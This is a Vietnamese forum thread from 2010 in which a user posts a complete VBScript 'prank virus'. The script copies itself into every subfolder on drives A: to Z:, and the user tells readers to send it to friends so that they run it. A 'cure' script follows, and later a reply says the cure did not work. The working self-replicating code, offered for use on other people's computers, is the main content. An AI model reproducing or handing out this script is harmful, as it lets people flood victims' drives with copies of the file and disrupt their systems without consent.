| Cách tạo virus đơn giản nhất để phá bạn bè!!! | |
|
|
Tác giả | Thông điệp |
---|
♥CầyTơ♥
Tổng số bài gửi : 10 Points : 22 Join date : 09/01/2010 Đến từ : Nhà tao
| Tiêu đề: Cách tạo virus đơn giản nhất để phá bạn bè!!! Sun Jan 10, 2010 9:29 am | |
| Nói chính xác hơn đây chỉ là vài câu lệnh thôi:
Tác hại của con VR này: - Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản. Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus Và tất nhiên là mình có kèm theo cả thuốc giải Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy
Vào notepad gõ đoạn code sau
CODE:
'Thuoc Doc !!! Dim fso,file,VBCopy Set fso=CreateObject("Scripting.FileSystemObject") Set file=fso.OpenTextFile(WScript.ScriptFullName,1) VBCopy=file.ReadAll FolderList("A:\") FolderList("B:\") FolderList("C:\") FolderList("D:\") FolderList("E:\") FolderList("F:\") FolderList("G:\") FolderList("H:\") FolderList("I:\") FolderList("J:\") FolderList("K:\") FolderList("L:\") FolderList("M:\") FolderList("N:\") FolderList("O:\") FolderList("P:\") FolderList("Q:\") FolderList("R:\") FolderList("S:\") FolderList("T:\") FolderList("U:\") FolderList("V:\") FolderList("X:\") FolderList("Y:\") FolderList("Z:\") FolderList("W:\")
Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") COP.write VBCopy Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") CAP.write VBCopy FolderList(f1.Path) Next End sub
save lại bằng tên tranngap.vbs | |
|
| |
♥CầyTơ♥
Tổng số bài gửi : 10 Points : 22 Join date : 09/01/2010 Đến từ : Nhà tao
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! Sun Jan 10, 2010 9:35 am | |
| Wen^ send cach' giai~
copy code sau vào notepad
Mã:
'Thuoc Giai Dim fso,file,VBCopy Set fso=CreateObject("Scripting.FileSystemObject") Set file=fso.OpenTextFile(WScript.ScriptFullName,1) VBCopy=file.ReadAll FolderList("A:\") FolderList("B:\") FolderList("C:\") FolderList("D:\") FolderList("E:\") FolderList("F:\") FolderList("G:\") FolderList("H:\") FolderList("I:\") FolderList("J:\") FolderList("K:\") FolderList("L:\") FolderList("M:\") FolderList("N:\") FolderList("O:\") FolderList("P:\") FolderList("Q:\") FolderList("R:\") FolderList("S:\") FolderList("T:\") FolderList("U:\") FolderList("V:\") FolderList("X:\") FolderList("Y:\") FolderList("Z:\") FolderList("W:\")
Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP,ATT Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf 'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") 'COP.write VBCopy 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") 'CAP.write VBCopy 'Set ATT=fso.GetFolder(f1.Path) 'ATT.Attributes=ATT.Attributes+2 fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs") fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs") FolderList(f1.Path) Next End sub
save dưới tên giaithoat.vbs | |
|
| |
]{ëññÿ Håm
Tổng số bài gửi : 7 Points : 11 Join date : 08/01/2010 Age : 28
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! Sun Jan 10, 2010 11:48 am | |
| Rảnh gớm!!! Thằng nào fá kao đập hik!! | |
|
| |
Ken.SuperStar Admin
Tổng số bài gửi : 95 Points : 180 Join date : 05/01/2010 Age : 28 Đến từ : TP.HCM
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! Sun Jan 10, 2010 11:51 am | |
| Cấm fhá t ngar! T đập chết mợ àh =) | |
|
| |
♥CầyTơ♥
Tổng số bài gửi : 10 Points : 22 Join date : 09/01/2010 Đến từ : Nhà tao
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! Sun Jan 10, 2010 12:10 pm | |
| cái này tạo xong gửi cho nguoi khac, phải chạy file do moi bi "khung" Cái này tớ thử nghiệm roy`, an toan lam | |
|
| |
kk0147
Tổng số bài gửi : 18 Points : 22 Join date : 15/01/2010
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! Fri Jan 15, 2010 1:20 pm | |
| | |
|
| |
VoQuocThong
Tổng số bài gửi : 39 Points : 72 Join date : 08/01/2010
| Tiêu đề: HOHOHOHOHO Mon Feb 01, 2010 5:45 pm | |
| Thang khu`ng ranh~ qua' ha ngoi` do' che' Virus khong co chuyen gi lam` ak` ma con ngoi` do' ghi tu`m lum len 4rum nua chu' Sao khong post len may cai bai` ma` giu'p cho may' PRO hon di Toi' ngay` ngoi` do' pha' nguoi` khac' la` hay (Hen` chi hom bua no' keu tui nhan cai' file do ma` tui khong nhan nen tui khong bi VIRUS) ( THANKS BKAV PRO ) | |
|
| |
VoQuocThong
Tổng số bài gửi : 39 Points : 72 Join date : 08/01/2010
| |
| |
MrBachloveyou
Tổng số bài gửi : 1 Points : 1 Join date : 22/08/2011 Age : 25
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! Mon Aug 22, 2011 9:12 am | |
| cai nay dung thuoc giai van ko duoc | |
|
| |
Sponsored content
| Tiêu đề: Re: Cách tạo virus đơn giản nhất để phá bạn bè!!! | |
| |
|
| |
| Cách tạo virus đơn giản nhất để phá bạn bè!!! | |
|